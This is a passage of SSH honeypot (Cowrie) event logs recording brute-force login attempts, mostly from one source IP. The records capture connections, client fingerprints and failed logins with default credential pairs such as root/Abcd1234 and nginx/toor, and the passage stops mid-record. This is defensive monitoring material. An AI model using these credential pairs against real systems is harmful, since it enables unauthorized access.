{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:44.087310Z","src_ip":"192.109.200.78","session":"5b46ea257642","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres","message":"login attempt [postgres/postgres] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:44.330192Z","src_ip":"192.109.200.78","session":"5b46ea257642","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:45.413929Z","src_ip":"192.109.200.78","session":"5b46ea257642","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":35008,"dst_ip":"10.17.0.5","dst_port":22,"session":"3dd9c5512e36","protocol":"ssh","message":"New connection: 192.109.200.78:35008 (10.17.0.5:22) [session: 3dd9c5512e36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:47.595047Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:47.599848Z","src_ip":"192.109.200.78","session":"3dd9c5512e36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:47.681851Z","src_ip":"192.109.200.78","session":"3dd9c5512e36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lighthouse","password":"lighthouse","message":"login attempt [lighthouse/lighthouse] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:47.926012Z","src_ip":"192.109.200.78","session":"3dd9c5512e36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:49.010120Z","src_ip":"192.109.200.78","session":"3dd9c5512e36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":35020,"dst_ip":"10.17.0.5","dst_port":22,"session":"28edd6b0f89a","protocol":"ssh","message":"New connection: 192.109.200.78:35020 (10.17.0.5:22) [session: 28edd6b0f89a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:51.016871Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:51.020969Z","src_ip":"192.109.200.78","session":"28edd6b0f89a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:51.106978Z","src_ip":"192.109.200.78","session":"28edd6b0f89a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abcd1234","message":"login attempt [root/Abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:51.352854Z","src_ip":"192.109.200.78","session":"28edd6b0f89a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.240.59.39","src_port":4138,"dst_ip":"10.17.0.5","dst_port":22,"session":"bd19342a13fd","protocol":"ssh","message":"New connection: 188.240.59.39:4138 (10.17.0.5:22) [session: bd19342a13fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:51.716122Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.8","message":"Remote SSH version: SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:51.719793Z","src_ip":"188.240.59.39","session":"bd19342a13fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bc9e7273cde22b1209d6673b5fd10bd5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bc9e7273cde22b1209d6673b5fd10bd5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:51.809458Z","src_ip":"188.240.59.39","session":"bd19342a13fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:51.888060Z","src_ip":"188.240.59.39","session":"bd19342a13fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:52.436254Z","src_ip":"192.109.200.78","session":"28edd6b0f89a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":50272,"dst_ip":"10.17.0.5","dst_port":22,"session":"42660da1d0d2","protocol":"ssh","message":"New connection: 192.109.200.78:50272 (10.17.0.5:22) [session: 42660da1d0d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:54.623748Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:54.627401Z","src_ip":"192.109.200.78","session":"42660da1d0d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:54.707575Z","src_ip":"192.109.200.78","session":"42660da1d0d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo18","password":"odoo","message":"login attempt [odoo18/odoo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:54.952422Z","src_ip":"192.109.200.78","session":"42660da1d0d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:56.088786Z","src_ip":"192.109.200.78","session":"42660da1d0d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":50296,"dst_ip":"10.17.0.5","dst_port":22,"session":"6071ea23a93c","protocol":"ssh","message":"New connection: 192.109.200.78:50296 (10.17.0.5:22) [session: 6071ea23a93c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:57.990286Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:57.994839Z","src_ip":"192.109.200.78","session":"6071ea23a93c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:58.076971Z","src_ip":"192.109.200.78","session":"6071ea23a93c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"123","message":"login attempt [openclaw/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:58.440993Z","src_ip":"192.109.200.78","session":"6071ea23a93c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.79157781600952,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:59.366562Z","src_ip":"172.81.62.90","session":"df2d142c2cfa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:51:59.523256Z","src_ip":"192.109.200.78","session":"6071ea23a93c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":50318,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ddb42ffa225","protocol":"ssh","message":"New connection: 192.109.200.78:50318 (10.17.0.5:22) [session: 8ddb42ffa225]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:52:01.597715Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:52:01.601842Z","src_ip":"192.109.200.78","session":"8ddb42ffa225","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:52:01.685735Z","src_ip":"192.109.200.78","session":"8ddb42ffa225","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kingbase","password":"123456","message":"login attempt [kingbase/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:52:01.934374Z","src_ip":"192.109.200.78","session":"8ddb42ffa225","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:52:03.048655Z","src_ip":"192.109.200.78","session":"8ddb42ffa225","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":60006,"dst_ip":"10.17.0.5","dst_port":22,"session":"2aa448232d68","protocol":"ssh","message":"New connection: 192.109.200.78:60006 (10.17.0.5:22) [session: 2aa448232d68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:52:04.994970Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:52:05.003165Z","src_ip":"192.109.200.78","session":"2aa448232d68","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:52:05.216730Z","src_ip":"192.109.200.78","session":"2aa448232d68","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nginx","password":"toor","message":"login attempt [nginx/toor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:52:05.507738Z","src_ip":"192.109.200.78","session":"2aa448232d68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:52:06.717180Z","src_ip":"192.109.200.78","session":"2aa448232d68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":60010,"dst_ip":"10.17.0.5","dst_port":22,"session":"cbf9bd374be6","protocol":"ssh","message":"New connection: 192.109.200.78:60010 (10.17.0.5:22) [session: cbf9bd374be6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:52:08.555729Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:52:08.559923Z","src_ip":"192.109.200.78","session":"cbf9bd374be6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 